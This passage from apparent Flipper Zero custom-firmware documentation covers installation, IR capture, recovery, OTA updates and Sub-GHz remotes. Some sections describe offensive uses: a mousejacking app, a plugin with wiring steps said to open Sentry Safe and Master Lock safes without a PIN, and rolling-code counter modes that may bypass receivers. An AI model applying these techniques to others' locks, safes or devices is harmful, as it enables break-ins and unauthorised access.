- Open downloads in ios Files app, select downloaded `.tgz` file, click Share, select Flipper App
- In flipper app click green `Update` button, be sure it shows `Custom flipper-z-f7-update...` in Update Channel
- Wait until update is finished
- Error in ios app will show up, but flipper will be updated successfully
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![ios](https://user-images.githubusercontent.com/40743392/235005844-bea8f2fd-f50d-41b1-9191-e3842d8658d2.png)
<br>
<br>
## With Android mobile app (with .tgz download)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
- In flipper app click `Update channel` button, select `Custom`
- Select downloaded `.tgz` file
- Click Update
- Wait until update is finished
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![andro_tgz](https://user-images.githubusercontent.com/40743392/235005877-d4f5f73c-241c-4a7b-a51d-b8407983856c.png)
<br>
<br>
## With Android mobile app (via web updater link)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Click `Install via Web Updater`
- It will ask to open with browser or Flipper app, select Flipper App
- Continue to install
- Wait until update is finished
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![androweb](https://user-images.githubusercontent.com/40743392/235005891-19ef6bb6-094f-437d-afcd-75d60921e3c4.png)
<br>
<br>
## With qFlipper (1.2.0+)
- Download qFlipper that allows `.tgz` installation [Download qFlipper (official link)](https://flipperzero.one/update)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
- Launch qFlipper
- Connect your device and select `Install from file`
- Select `flipper-z-f7-update-(version).tgz` that you downloaded
- Update will start
- And wait, if all flashed successfully - you will have all needed assets pre installed
- Done
![qflip](https://user-images.githubusercontent.com/40743392/235005910-819abd34-65d4-4aaa-a11c-9c28bea737e9.png)
<br>
<br>
## With offline update on flipper
### **Replace (CURRENT VERSION) with version that you downloaded from releases**
- Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone
- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc..
- Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper)
- Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card
- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesn't show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android
- Verify that all files are present on your microSD card
- After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file
`update/f7-update-(CURRENT VERSION)/update.fuf`
- Update will start, wait for all stages
- Done
![manual](https://user-images.githubusercontent.com/40743392/235006410-19eaf58e-2425-4e8e-8ec9-973bda362c47.png)
<br>
<br>
# After install:
- ## [Read instructions how to use plugins and more](https://github.com/DarkFlippers/unleashed-firmware#instructions)
- ## [How To: Configure Sub-GHz Remote App](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemotePlugin.md)

View File

@@ -1,83 +0,0 @@
# Infrared Captures
**Credits go to @gsurkov, @skotopes, @knrn-ai, @DrZlo13 and @ahumeniy for making and contributing to the original `UniversalRemotes.md` Documentation located [Here](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/UniversalRemotes.md).**
**slightly adapted by @amec0e**
## Televisions, Fans, Audio and Projectors
Each signal is recorded using the following process:
1. Get the remote and point it to Flipper's IR receiver.
2. Start learning a new remote if it's the first button or press `+` to add a new button otherwise.
3. Do a Quick Press of a remote button and save it under a corresponding name. **(NOTE: Don't hold the remote button down, this will result in long captures and long playbacks ultimately slowing down the universal remotes performance)**
4. Repeat steps 2-3 until all required signals are saved.
The signal names are self-explanatory. Remember to make sure that every recorded signal does what it's supposed to.
**NOTE:** It's possible some devices around you will cause interference and may force your capture into raw data instead of a parsed code.
If you notice you get a parsed code when capturing it's best to click "Retry" a few times on the flipper when capturing to ensure the device is not suffering from any interference, and that the cleanest capture is possible.
## Types of data
**Parsed data**
This is the cleanest type of data because it means it is a recognized code.
```
name: EXAMPLE
type: parsed
protocol: NEC
address: 07 00 00 00
command: 02 00 00 00
```
**Raw Data**
With raw data its important not to hold the remotes button down when capturing on your flipper as this increases not only the size of the capture but the repeats and also how long it takes to send the signal back. Below is an ideal button capture.
```
#
name: EXAMPLE
type: raw
frequency: 38000
duty_cycle: 0.330000
data: 2410 597 1189 599 592 600 1186 602 589 603 1183 606 595 597 593 598 1208 605 596 596 594 597 593 599 592 25604 2403 604 1182 606 595 597 1189 599 591 601 1185 603 618 573 617 575 1211 602 588 603 588 605 596 596 594 25605 2402 604 1192 596 594 597 1189 599 592 601 1185 628 593 598 593 600 1186 602 589 603 588 604 597 595 596
```
**Capturing Raw Data:**
If you are sure your remote is using raw data the best way to capture it will be to do a quick button press **(don't hold the remotes button down)** and look at how many samples you get, the general idea here is to get the lowest amount of raw data samples captured (around 100 samples is about right) while making sure that the playback on the device is still working. This is usually accomplished by doing a quick button press on the remote when capturing.
## Air Conditioners
Air conditioners differ from most other infrared-controlled devices because their state is tracked by the remote.
The majority of A/C remotes have a small display that shows the current mode, temperature, and other settings.
When the user presses a button, a whole set of parameters is transmitted to the device, which must be recorded and used as a whole.
In order to capture a particular air conditioner, there is a particular process require to capturing and this is done using the following process:
1. Get the remote and press the **Power Button** so that the display shows that A/C is ON.
2. Set the A/C to the corresponding mode (see table below), leaving other parameters such as fan speed or vane on **AUTO** (if applicable).
3. Press the **POWER** button to switch the A/C off.
4. Start learning a new remote on Flipper if it's the first button or press `+` to add a new button otherwise.
5. Point the remote to Flipper's IR receiver as directed and press **POWER** button once again.
6. Save the resulting signal under the specified name.
7. Repeat steps 2-6 for each signal from the table below.
| Signal | Mode | Temperature | Note |
| :-----: | :--------: | :---------: | ----------------------------------- |
| Dh | Dehumidify | N/A | |
| Cool_hi | Cooling | See note | Lowest temperature in cooling mode |
| Cool_lo | Cooling | 23°C | |
| Heat_hi | Heating | See note | Highest temperature in heating mode |
| Heat_lo | Heating | 23°C | |
Finally, record the `Off` signal:
1. Make sure the display shows that the A/C is ON.
2. Start learning a new signal on Flipper and point the remote towards the IR receiver.
3. Press the **POWER** button so that the remote shows the OFF state.
4. Save the resulting signal under the name `Off`.
Test the file against the actual device. Make sure that every signal does what it's supposed to.

View File

@@ -1,119 +0,0 @@
# Key Combos {#key_combos}
There are times when your Flipper feels blue and doesn't respond to any of your commands due to a software issue. This guide will help you solve this problem.
## Basic combos
### Hardware reset
- Press `LEFT` and `BACK` and hold for a couple of seconds
- Release `LEFT` and `BACK`
This combo performs a hardware reset by pulling the MCU reset line down.
Main components involved: Keys → DD8(NC7SZ32M5X, OR-gate) → DD1(STM32WB55, MCU).
It won't work only in one case:
- The MCU debug block is active and holding the reset line from inside.
### Hardware Power Reset
- Disconnect the USB cable and any external power supplies
- Disconnect the USB once again
- Make sure you've disconnected the USB and any external power supplies
- Press `BACK` and hold for 30 seconds (this will only work with the USB disconnected)
- If you haven't disconnected the USB, then disconnect it and repeat the previous step
- Release the `BACK` key
This combo performs a reset by switching SYS power line off and then on.
Main components involved: Keys → DD6(bq25896, charger).
It won't work only in one case:
- Power supply is connected to USB or 5V_ext
### Software DFU
- Press `LEFT` on boot to enter DFU with Flipper boot-loader
It won't work only in one case:
- Flipper boot-loader is damaged or absent
### Hardware DFU
- Press `OK` on boot to enter DFU with ST boot-loader
It won't work only in one case:
- Option Bytes are damaged or set to ignore the `OK` key
## DFU combos
### Hardware Reset + Software DFU
- Press `LEFT` and `BACK` and hold for a couple of seconds
- Release `BACK`
- Device will enter DFU with an indication (Blue LED + DFU Screen)
- Release `LEFT`
This combo performs a hardware reset by pulling the MCU reset line down. Then, the `LEFT` key indicates to the boot-loader that DFU mode is requested.
It won't work in two cases:
- The MCU debug block is active and holding the reset line from inside
- Flipper boot-loader is damaged or absent
### Hardware Reset + Hardware DFU
- Press `LEFT`, `BACK` and `OK` and hold for a couple of seconds
- Release `BACK` and `LEFT`
- The device will enter DFU without an indication
This combo performs a hardware reset by pulling the MCU reset line down. Then, the `OK` key forces MCU to load the internal boot-loader.
It won't work in two cases:
- The MCU debug block is active and holding the reset line from inside
- Option Bytes are damaged or set to ignore the `OK` key
### Hardware Power Reset + Software DFU
- Disconnect the USB and any external power supplies
- Press `BACK` and `LEFT` for 30 seconds
- Release `BACK`
- The device will enter DFU with an indication (Blue LED + DFU Screen)
- Release `LEFT`
- Plug in the USB
This combo performs a reset by switching the SYS power line off and then on. Next, the `LEFT` key indicates to the boot-loader that DFU mode is requested.
It won't work in two cases:
- Power supply is connected to USB or 5V_ext
- Flipper boot-loader is damaged or absent
### Hardware Power Reset + Hardware DFU
- Disconnect the USB and any external power supplies
- Press `BACK` and `OK` and hold for 30 seconds
- Release `BACK` and `OK`
- The device will enter DFU without indication
- Plug in the USB
This combo performs a reset by switching the SYS power line off and then on. Next, the `OK` key forces MCU to load the internal boot-loader.
It won't work in two cases:
- Power supply is connected to USB or 5V_ext
- Option Bytes are damaged or set to ignore the `OK` key
# Alternative ways to recover your device
If none of the described methods helped you:
- Make sure the battery charged
- Disconnect the battery and connect again (requires disassembly)
- Try to flash the device with ST-Link or another programmer that supports SWD
If you're still here and your device is not working: it's not a software issue.

View File

@@ -1,23 +0,0 @@
# Reading RAW RFID data {#lfrfid_raw}
Flipper Zero has the option to read RAW data from 125 kHz cards that allows you to record the card's data and save it, similar to how a dictaphone records sound.
To use this function, you need to activate the Debug mode on your Flipper Zero by doing the following:
1. Go to **Main Menu****Settings****System**.
2. Set **Debug** to **ON**.
Once the Debug mode is activated on your Flipper Zero, you can read RAW data from 125 kHz RFID cards:
1. Go to **Main Menu****125 kHz RFID****Extra Actions**.
2. Select **RAW RFID** data and name the raw file.
3. Read instructions and press **OK**.
4. Apply the card to Flipper Zero's back.
5. Once the reading is finished, press **OK**.
Two files with data (with ASK and PSK modulations) will be saved in the `lfrfid` folder on the microSD card. Now, you can share it and the card's photo with developers by creating an issue on GitHub.

View File

@@ -1,61 +0,0 @@
# MultiConverter
## Author: [theisolinearchip](https://github.com/theisolinearchip/flipperzero_stuff/tree/main/applications/multi_converter)
An expanded version of my previous __Dec/Hex Converter__, this time allowing more units and a _(probably poorly made from a design-point-of-view)_ selector mode
to swap between different unit groups.
I wrote it with the idea of _expanding the unit list_ on mind, so adding new ones it's a matter of increasing an array of constants + defining the proper conversion functions.
(Actually the whole project is more about "making the framework" rather than providing _ALL_ of the possible units : D)
![Img 1](http://albertgonzalez.coffee/projects/flipperzero/multi_converter/img/1_small.png) ![Img 2](http://albertgonzalez.coffee/projects/flipperzero/multi_converter/img/2_small.png)
## Current conversions
- `Decimal / Hexadecimal / Binary`
- `Celsius / Fahrenheit / Kelvin`
- `Kilometers / Meters / Centimeters / Miles / Feet / Inches`
- `Degree / Radian`
## Usage
Base keyboard allows numbers from `0` to `F`, being disabled (or not) according to the current selected unit.
Long press on `0` toggles a __negative__ value; long press on `1` sets a __decimal point__ (only if allowed by the current selected unit).
`<` removes the last character; `#` changes to __Unit Select Mode__.
### Unit Select Mode
`Left` and `Right` to swap between __origin unit__ and __destination unit__ (notice the _destination_ will change according to the current selected _origin_).
`Ok` to save the changes and go back to the __Display Mode__; `Back` to go back without changing any unit.
## Adding new units
1. Add the new units in the `MultiConverterUnitType` enum on `multi_converter_definitions.h` (basic definitions header). Notice each enum element will be used as an array index later.
2. Increase the `MULTI_CONVERTER_AVAILABLE_UNITS` constant on `multi_converter_units.h` (units main header file).
3. Set a pair of functions for __converting__ units and to __check__ if a target unit is allowed to work with the destination unit (both on `multi_converter_units.h`
and `multi_converter_units.c`; follow the already built-in units for more info).
4. Add the proper `MultiConverterUnit` structs for each new unit.
5. Add each new struct to the main `multi_converter_available_units` array.
And that's it! The system will fetch the new units and display it!
## Known issues, TODO-list, etc.
This is an initial release, so expect some bugs and issues (also I don't work with C that much, so there're probably lots of things that can be improved and/or changed!).
- I've noticed some small decimal variations when "going deep" with some units (like converting __miles__ to __centimeters__ and things like that); probably due to the precision-level required. Need to check that.
- Pending: improve overflow checks.
- The way some long numbers are shown could probably be improved to look fancier.
- Both _origin_ and _destination buffers_ are the same. The destination one could probably be longer in order to avoid certain _overflow scenarios_.
- The GUI needs improvement too: there's a whole __widget/views system__ built in the Flipper that allows things like setting up keys, showing "Save/Back/Cancel" messages with
callbacks and stuff like that. Didn't know anything about them, so I moved on with something more basic (which is probably fine since it's not a "very big project"); but
a more "standard" way with the regular GUI stuff provided by the firmware will be interesting...
- More GUI stuff: the _long click buttons_ for adding a decimal point / negative number aren't very clear on the view itself (I tried to add a small dot / dash symbol, but I think those are small enough to be a little bit confusing)

View File

@@ -1,51 +0,0 @@
# flipperzero-nrf24
## Author: [mothball187](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker)
An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors. This library is not currently complete, but functional.
# How to use
- Connect NRF24 to flipper using provided pinouts
- Open NRF24: Sniffer, and scan channels, switch between modes/channels using buttons
- When you got address -> Open NRF24: Mouse Jacker
- Select Address and open badusb file
- Done
# Demo (YouTube)
[![YouTube](https://img.youtube.com/vi/C5hbyAjuU4k/0.jpg)](https://www.youtube.com/watch?v=C5hbyAjuU4k)
## Warning
These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment.
## Acknowledgments
The NRF24 sniffing technique was discovered and shared by Travis Goodspeed in [his blog](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html).
The mousejack vulnerabilities were discovered and reported by Marc Newlin, see [the blog](https://www.bastille.net/research/vulnerabilities/mousejack/technical-details) for technical details.
Much of the driver code was inspired by [RadioHead's Arduino library](https://www.airspayce.com/mikem/arduino/RadioHead/classRH__NRF24.html).
Much of the mousejack code was inspired by the [Jackit project](https://github.com/insecurityofthings/jackit).
# Pinout from from NoComp/Frog
<img src="https://media.discordapp.net/attachments/937479784726949900/994495234618687509/unknown.png?width=567&height=634">
# Mousejacker / NRF24 pinout by UberGuidoZ
2/A7 on FZ goes to MOSI/6 on nrf24l01<br>
3/A6 on FZ goes to MISO/7 on nrf24l01<br>
4/A4 on FZ goes to CSN/4 on nrf24l01<br>
5/B3 on FZ goes to SCK/5 on nrf24l01<br>
6/B2 on FZ goes to CE/3 on nrf24l01<br>
8/GND on FZ goes to GND/1 on nrf24l01<br>
9/3V3 on FZ goes to VCC/2 on nrf24l01<br>
IRQ/8 is left disconnected on nrf24l01<br>
![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png)
If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines!
I've not tried the Plus model so it may have a bigger need for a cap.
Otherwise, I haven't had any major issues.
Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.)
I learned if you wanna get fancy, include a 0.1 uF cap in parallel.
The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. ¯\\\_(ツ)_/¯
![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg)

View File

@@ -1,145 +0,0 @@
# Flipper Zero OTA update process {#ota_updates}
## Executing code from RAM
In Flipper firmware, we have a special boot mode that loads a specially crafted system image into RAM and transfers control to it. The system image executing in RAM has full write access to Flipper's entire flash memory — something that's not possible when running main code from the same flash.
We leverage that boot mode to perform OTA firmware updates, including operations on a radio stack running on the second MCU core.
## How does Flipper OTA work?
Installation of OTA updates goes through 3 stages:
### 1. Backing up internal storage (/int)
It is a special partition of Flipper's flash memory, taking up all available space not used by the firmware code. Newer versions of firmware may be of different size, and simply installing them would cause flash repartitioning and data loss.
So, before taking any action on the firmware, we back up the current configuration from `/int` into a plain tar archive on the SD card.
### 2. Performing device update
The main firmware loads an updater image — a customized build of the main Flipper firmware — into RAM and runs it. Updater performs operations on system flash as described by an Update manifest file.
First, if there's a Radio stack image bundled with the update, updater compares its version with the currently installed one. If they don't match, updater performs stack deinstallation followed by writing and installing a new one. The installation itself is performed by proprietary software FUS running on Core2, and leads to a series of system restarts.
Then, updater validates and corrects Option Bytes — a special memory region containing low-level configuration for Flipper's MCU.
After that, updater loads a `.dfu` file with firmware to be flashed, checks its integrity using CRC32, writes it to system flash and validates written data.
### 3. Restoring internal storage and updating resources
After performing operations on flash memory, the system restarts into newly flashed firmware. Then it performs restoration of previously backed up `/int` contents.
If the update package contains an additional resources archive, it is extracted onto the SD card.
## Update manifest
An update package comes with a manifest that contains a description of its contents. The manifest is in Flipper File Format — a simple text file, comprised of key-value pairs.
### Mandatory fields
An update manifest must contain the following keys in the given order:
- **Filetype**: a constant string, "Flipper firmware upgrade configuration".
- **Version**: manifest version. The current value is 2.
- **Info**: arbitrary string, describing package contents.
- **Target**: hardware revision for which the package is built.
- **Loader**: file name of stage 2 loader that is executed from RAM.
- **Loader CRC**: CRC32 of loader file. Note that it is represented in little-endian hex.
### Optional fields
Other fields may have empty values. In this case, updater skips all operations related to these values.
- **Radio**: file name of radio stack image, provided by STM.
- **Radio address**: address to install the radio stack at. It is specified in Release Notes by STM.
- **Radio version**: radio major, minor and sub versions followed by branch, release and stack type packed into 6 hex-encoded bytes.
- **Radio CRC**: CRC32 of radio image.
- **Resources**: file name of TAR archive with resources to be extracted onto the SD card.
- **OB reference**, **OB mask**, **OB write mask**: reference values for validating and correcting option bytes.
## OTA update error codes
We designed the OTA update process to be as fail-safe as possible. We don't start any risky operations before validating all related pieces of data to ensure we don't leave the device in a partially updated, or bricked, state.
Even if something goes wrong, updater allows you to retry failed operations and reports its state with an error code. These error codes have an `[XX-YY]` format, where `XX` encodes the failed operation, and `YY` contains extra details on its progress where the error occurred.
| Stage description | Code | Progress | Description |
| :---------------------: | -----: | ---------- | ------------------------------------------ |
| Loading update manifest | **1** | **13** | Updater reported hardware version mismatch |
| | | **20** | Failed to get saved manifest path |
| | | **30** | Failed to load manifest |
| | | **40** | Unsupported update package version |
| | | **50** | Package has mismatching HW target |
| | | **60** | Missing DFU file |
| | | **80** | Missing radio firmware file |
| Backing up configuration| **2** | **0-100** | FS read/write error |
| Checking radio FW | **3** | **0-99** | Error reading radio firmware file |
| | | **100** | CRC mismatch |
| Uninstalling radio FW | **4** | **0** | SHCI Delete command error |
| | | **80** | Error awaiting command status |
| Writing radio FW | **5** | **0-100** | Block read/write error |
| Installing radio FW | **6** | **10** | SHCI Install command error |
| | | **80** | Error awaiting command status |
| Core2 is busy | **7** | **10** | Couldn't start C2 |
| | | **20** | Failed to switch C2 to FUS mode |
| | | **30** | Error in FUS operation |
| | | **50** | Failed to switch C2 to stack mode |
| Validating opt. bytes | **8** | **yy** | Option byte code |
| Checking DFU file | **9** | **0** | Error opening DFU file |
| | | **1-98** | Error reading DFU file |
| | | **99-100** | Corrupted DFU file |
| Writing flash | **10** | **0-100** | Block read/write error |
| Validating flash | **11** | **0-100** | Block read/write error |
| Restoring configuration | **12** | **0-100** | FS read/write error |
| Updating resources | **13-15** | **0-100** | SD card read/write error |
## Building update packages
### Full package
To build a full update package, including firmware, radio stack and resources for the SD card, run:
`./fbt COMPACT=1 DEBUG=0 updater_package`
### Minimal package
To build a minimal update package, including only firmware, run:
`./fbt COMPACT=1 DEBUG=0 updater_minpackage`
### Customizing update bundles
Default update packages are built with Bluetooth Light stack.
You can pick a different stack if your firmware version supports it, and build a bundle with it by passing the stack type and binary name to `fbt`:
`./fbt updater_package COMPACT=1 DEBUG=0 COPRO_OB_DATA=scripts/ob_custradio.data COPRO_STACK_BIN=stm32wb5x_BLE_Stack_full_fw.bin COPRO_STACK_TYPE=ble_full`
Note that `COPRO_OB_DATA` must point to a valid file in the `scripts` folder containing reference Option Byte data matching your radio stack type.
In certain cases, you might have to confirm your intentions by adding `COPRO_DISCLAIMER=...` to the build command line.
### Building partial update packages
You can customize package contents by calling `scripts/update.py` directly.
For example, to build a package only for installing BLE FULL stack:
```shell
scripts/update.py generate \
-t f7 -d r13.3_full -v "BLE FULL 13.3" \
--stage dist/f7/flipper-z-f7-updater-*.bin \
--radio lib/stm32wb_copro/firmware/stm32wb5x_BLE_Stack_full_fw.bin \
--radiotype ble_full
```
For the full list of options, check `scripts/update.py generate` help.

View File

@@ -1,17 +0,0 @@
# Sentry Safe plugin
## Author: [H4ckd4ddy](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin)
Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code.
[Demo and Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe)
### Usage
- Start "Sentry Safe" plugin
- Place wires as described on the plugin screen
<br>(Flipper GPIO) 8/GND -> Black wire (Safe)
<br>(Flipper GPIO) 15/C1 -> Green wire (Safe)
- Press enter
- Open safe

View File

@@ -1,223 +0,0 @@
# SubGHz Counter Experimental Mode
## Overview
Experimental Counter Mode is an advanced feature that allows you to customize how rolling codes increment when transmitting SubGHz signals. Different protocols support different counter modes, which can be useful for specific cases, main purpose is to make clone of the original remote that will not conflict with original remote, so both Flipper and original remote can be used at same time in rolling code systems without desync or other issues.
**Be aware, do not experiment with equipment you don't have access to, if you are not sure what mode works for you and can't reprogram your original remote to the receiver - do not use these modes!!!**
In case you have access to the receiver and can do some tests, try some of these modes on your system and let us know how it works for you, in github issues or our communities, thanks!
## How to Use Experimental Counter Mode
To enable a specific counter mode, you need to manually edit your `.sub` file and add a `CounterMode` line.
### Steps:
1. Locate your `.sub` file (in `/ext/subghz/` on your Flipper Zero SD card)
2. Open the file in a text editor
3. Add the following line at the end of the file:
```
CounterMode: X
```
Where `X` is the mode number (0, 1, 2, etc.)
### Example .sub File:
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: Nice FloR-S
Bit: 52
Key: AA AA AA AA AA AA AA
CounterMode: 1
```
## Supported Protocols and Counter Modes
### 1. Nice Flor S
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1 (floxi2r):**
- Counter sequence: `0x0001 / 0xFFFE`
- For receiver model floxi2r
**Mode 2 (ox2):**
- Counter sequence: `0x0000 / 0x0001`
- For receiver model ox2
---
### 2. Came Atomo
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Works with external CAME RE432 receiver, may work with other type of receivers
**Mode 2:**
- Counter sequence: `0x807B / 0x807C / 0x007B / 0x007C`
- Works with external CAME RE432 receiver, may work with other type of receivers
**Mode 3:**
- Counter freeze - do not increment
---
### 3. Alutech AT-4N
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- For receiver model MCSW-3.3M
**Mode 2:**
- Counter sequence: `0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005`
- For other receiver boards
---
### 4. KeeLoq
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Might work with some systems (let us know!)
**Mode 2:**
- Incremental mode: `+0x3333` each transmission
- Adds 0x3333 (13107 in decimal) to counter each time
- Might work with Doorhan, seen in some "universal remotes"
**Mode 3:**
- Counter sequence: `0x8006 / 0x8007 / 0x0006 / 0x0007`
- Might work with some systems like Hormann EcoStar
**Mode 4:**
- Counter sequence: `0x807B / 0x807C / 0x007B / 0x007C`
- Might work with some systems like Nice Smilo
**Mode 5:**
- Counter sequence: `0x0000 / 0xFFFF`
- Alternates between 0 and maximum value (65535)
- Might work with some systems (let us know!)
**Mode 6:**
- Counter freeze - do not increment
**Mode 7:**
- Incremental mode: `+0x3333` 5 times to current counter and return original value back adding +1 - 2 times - 7 signals in pack total
- Might work with Doorhan, seen in some "universal remotes"
- One click of Send button on flipper may bypass receiver counter, wait for full transmission
---
### 5. V2 Phoenix (Phox)
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1 (ofex like):**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Verified as working
**Mode 2 (0 - 4):**
- Counter sequence: `0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004`
- Might work (let us know!)
---
## Notes and Warnings
### Important Considerations:
1. **Default Behavior:**
- If you don't specify a `CounterMode`, Regular remote simulation (cnt +1) is used by default
- Regular remote simulation is the standard mode and works with most cases
2. **Protocol Compatibility:**
- Not all protocols support all counter modes
- Using an unsupported mode number may result in unexpected behavior
- Always test your configuration before relying on it
### Troubleshooting:
- If your file doesn't work after adding `CounterMode`:
1. Double-check the syntax: `CounterMode: X` (with space after colon)
2. Verify the mode number is valid for your protocol
---
## Example Configurations
### Example 1: Nice Flor S with Mode 1
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: Nice FloR-S
Bit: 52
Key: 01 23 45 67 89 AB CD
CounterMode: 1
```
### Example 2: KeeLoq with Mode 2 (+0x3333 (Doorhan))
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: KeeLoq
Bit: 64
Key: DE AD BE EF CA FE BA BE
Manufacture: Doorhan
CounterMode: 2
```
---
## FAQ
**Q: Will this damage my remote or receiver?**
A: Yes it may do that - depending on the receiver, it may desync your remote, be aware and don't experiment with equipment you don't have access to
**Q: Which mode should I use?**
A: Do not use those mods if you are not sure
**Q: What happens if I use an invalid mode number?**
A: Last mode from the list will be used
**Q: Do I need to add CounterMode to every .sub file?**
A: No, only add it if you need non-default behavior. Mode 0 is automatic if not specified.
---
*Made for Unleashed FW, please mention source when copying*

View File

@@ -1,76 +0,0 @@
# Sub-GHz Remote
# UPDATE!!!!!!
## Now you can create and edit map files directly on flipper, go into Sub-GHz Remote and click back button
<br>
<br>
<br>
### The SubGHz Remote Tool *requires* the creation of custom user map with `.txt` extension in the `subghz_remote` folder on the sdcard.
#### If these files are not exist or not configured properly, **you will receive an error each time you try to select wrong file in the UniRF Tool**.
## You can add as many `.txt` map files as you want, file name doesn't matter!
## Incorrect or unconfigured file error
If the `.txt` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app:
```
Config is incorrect.
Please configure map
Press Back to Exit
```
## Setting up the `subghz_remote/example.txt` file:
```
UP: /ext/subghz/Up.sub
DOWN: /ext/subghz/Down.sub
LEFT: /ext/subghz/Left.sub
RIGHT: /ext/subghz/Right.sub
OK: /ext/subghz/Ok.sub
ULABEL: Up Label
DLABEL: Down Label
LLABEL: Left Label
RLABEL: Right Label
OKLABEL: Ok Label
```
The UP/DOWN/LEFT/RIGHT/OK file locations must be set to the specific file you want mapped to that directional pad direction.
The ULABEL/DLABEL/LLABEL/RLABEL/OKLABEL variables should be set to the text to be displayed for each of the files set earlier.
## Example:
```
UP: /ext/subghz/Fan1.sub
DOWN: /ext/subghz/Fan2.sub
LEFT: /ext/subghz/Door.sub
RIGHT: /ext/subghz/Garage3.sub
OK: /ext/subghz/Garage3l.sub
ULABEL: Fan ON
DLABEL: Fan OFF
LLABEL: Doorbell
RLABEL: Garage OPEN
OKLABEL: Garage CLOSE
```
## Notes
* ##### App Usage
- Press a button to send the assigned capture file.
- Press Back button to exit app.
* ##### SubGHz Remote Map
- File path should not have any spaces or special characters (- and _ excluded).
- Labels are limited to 16 characters.
- Why? This is to prevent overlapping elements on screen.
- For example: If you set your label or file to ```WWWWWWWWWWWWWWW``` you'll be over the screen limits.

View File

@@ -1,244 +0,0 @@
# How to use Flipper as a new SubGHz remote (not clone of original remote)
### If your system is not added here that doesn't mean flipper don't support it! Look into add manually menu, and search for your manufacturers inscturctions!
### Also many supported systems can be used only from `Read` mode, `Add Manually` is used only to make new remotes that can be binded with receiver
## FAAC SLH (NEW!)
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> FAAC SLH (select your frequency)
2. Open your new remote file
3. Open your receiver box, find programming button on the receiver board.
4. Hold Up arrow button on the flipper to send programming signal - at same time press and hold programming button on the receiver board.
5. Led on the receiver board will light on, then off, then on, then off again then on again
6. Release all buttons
7. Press send button on the flipper couple times holding it for 1-3 seconds
8. Done!
Watch this video to learn more : https://www.youtube.com/watch?v=NfZmMy37XUs
...
How to get Seed value from your original remote or bind new remote using existing (master) remote?
1. Go to SubGHz -> Read - Select frequency 868.35 or 433.92 and modulation AM650
